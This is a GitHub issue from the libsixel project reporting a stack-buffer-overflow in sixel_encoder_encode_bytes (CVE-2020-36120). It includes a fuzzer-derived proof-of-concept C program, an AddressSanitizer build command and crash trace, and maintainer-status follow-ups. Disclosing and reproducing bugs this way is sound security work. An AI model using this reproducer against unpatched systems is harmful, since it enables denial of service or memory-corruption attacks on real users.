New issue

Jump to bottom

stack-buffer-overflow in sixel_encoder_encode_bytes at encoder.c:1788 #143

Closed NigelX opened this issue on Dec 29, 2020 · 2 comments

NigelX commented on Dec 29, 2020 • edited

Version Libsixel :1.8.6
Ubuntu 20.04 LTS
I fuzzed the sixelapi

```
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include "sixel.h"

int main(){

    sixel_encoder_t *encoder=NULL;
    int ncolors=16;
    char opt[256]={0};
    SIXELSTATUS status;
    unsigned char data[4096]={0xa,0xa,0xa,0xa,0xc7,0xc7,0xc7,0xc7,0xc7,0xc7,0xc7,
                             0xc7,0xc7,0xa,0xc7,0xc7,0xf2,0x60,0xa,0x60,0x60,0x60,
                             0x60,0xa,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,
                             0x60,0x60,0x60,0x60,0x60,0x60,0xa,0x60,0x60,0xa,0x60,
                             0x60,0x60,0x60,0x60,0x60,0x60,0x60,0xa,0x60,0x60,0x60,
                             0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,
                             0x60,0x60,0x60,0x60,0x60,0xa,0x60,0x60,0x60,0x60,0x60,
                             0x60,0x60,0x60,0x0,0xa,0x0,0xa,0xa,0x0,0x0,0xa,0xa,0x0,
                             0x0,0xa,0xa,0x0,0xa,0xa,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0};

    status = sixel_encoder_new(&encoder,NULL);
        if(SIXEL_FAILED(status))
                return 0;

        sprintf(opt, "%d", ncolors);
        status = sixel_encoder_setopt(encoder,SIXEL_OPTFLAG_COLORS,opt);
        if(SIXEL_FAILED(status))
                return 0;


        status = sixel_encoder_encode_bytes(encoder,(unsigned char*)data,400,300,SIXEL_PIXELFORMAT_RGBA8888,NULL,(-1));
        if(SIXEL_FAILED(status))
                return 0;



        printf("[+] end\n");
        sixel_encoder_unref(encoder);

    return 0;


}
```

Please use the following method to compile the attached cc file and run

```
clang++ -g -fsanitize=address -I/usr/local/include -L/usr/local/lib -lsixel poc.cc -o poc
```

poc

Because uploading the zip failed,I switched to a txt file,please download the attachment and modify the suffix to cc

```
==344010==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff79a6ae60 at pc 0x7f2d3c751a0c bp 0x7fff79a68d00 sp 0x7fff79a68cf8
READ of size 1 at 0x7fff79a6ae60 thread T0
    #0 0x7f2d3c751a0b in get_rgb /home/hx/userData/tools/libsixel/src/pixelformat.c:50:18
    #1 0x7f2d3c750fe9 in expand_rgb /home/hx/userData/tools/libsixel/src/pixelformat.c:186:13
    #2 0x7f2d3c750a8d in sixel_helper_normalize_pixelformat /home/hx/userData/tools/libsixel/src/pixelformat.c:294:9
    #3 0x7f2d3c74712a in sixel_dither_initialize /home/hx/userData/tools/libsixel/src/dither.c:559:18
    #4 0x7f2d3c7cf3c6 in sixel_encoder_prepare_palette /home/hx/userData/tools/libsixel/src/encoder.c:575:14
    #5 0x7f2d3c7cc367 in sixel_encoder_encode_frame /home/hx/userData/tools/libsixel/src/encoder.c:981:14
    #6 0x7f2d3c7cbea2 in sixel_encoder_encode_bytes /home/hx/userData/tools/libsixel/src/encoder.c:1816:14
    #7 0x4c6dbb in main /home/hx/userData/tools/libsixel/demo2.cc:34:11
    #8 0x7f2d3c1650b2 in __libc_start_main /build/glibc-ZN95T4/glibc-2.31/csu/../csu/libc-start.c:308:16
    #9 0x41c31d in _start (/home/hx/userData/tools/libsixel/demo2+0x41c31d)

Address 0x7fff79a6ae60 is located in stack of thread T0 at offset 4480 in frame
    #0 0x4c6abf in main /home/hx/userData/tools/libsixel/demo2.cc:8


  This frame has 3 object(s):
    [32, 40) 'encoder' (line 10)
    [64, 320) 'opt' (line 12)
    [384, 4480) 'data' (line 14) <== Memory access at offset 4480 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hx/userData/tools/libsixel/src/pixelformat.c:50:18 in get_rgb
Shadow bytes around the buggy address:
  0x10006f345570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10006f345580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10006f345590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10006f3455a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10006f3455b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10006f3455c0: 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3
```

```
  0x10006f3455d0: f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00
  0x10006f3455e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10006f3455f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10006f345600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10006f345610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==344010==ABORTING
```

NigelX closed this as completed on Jan 19, 2021

carnil commented on Apr 14, 2021

It appears that CVE-2020-36120 was assigned to this issue.

This issue was closed in #143 (comment), was it fixed in master branch?

👍 2 😕 1

tats mentioned this issue on Jun 21, 2021

Use libsixel fork with CVE fixes tats/w3m#184

Closed

fgeek commented on Jul 8, 2021

@saitoha what is status of this bug report? Is this fixed in some commit? Do you have plans to keep maintaining libsixel?

ajakk mentioned this issue on Oct 2, 2021

stack-buffer-overflow in sixel_encoder_encode_bytes (CVE-2020-36120) libsixel/libsixel#46

Open

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants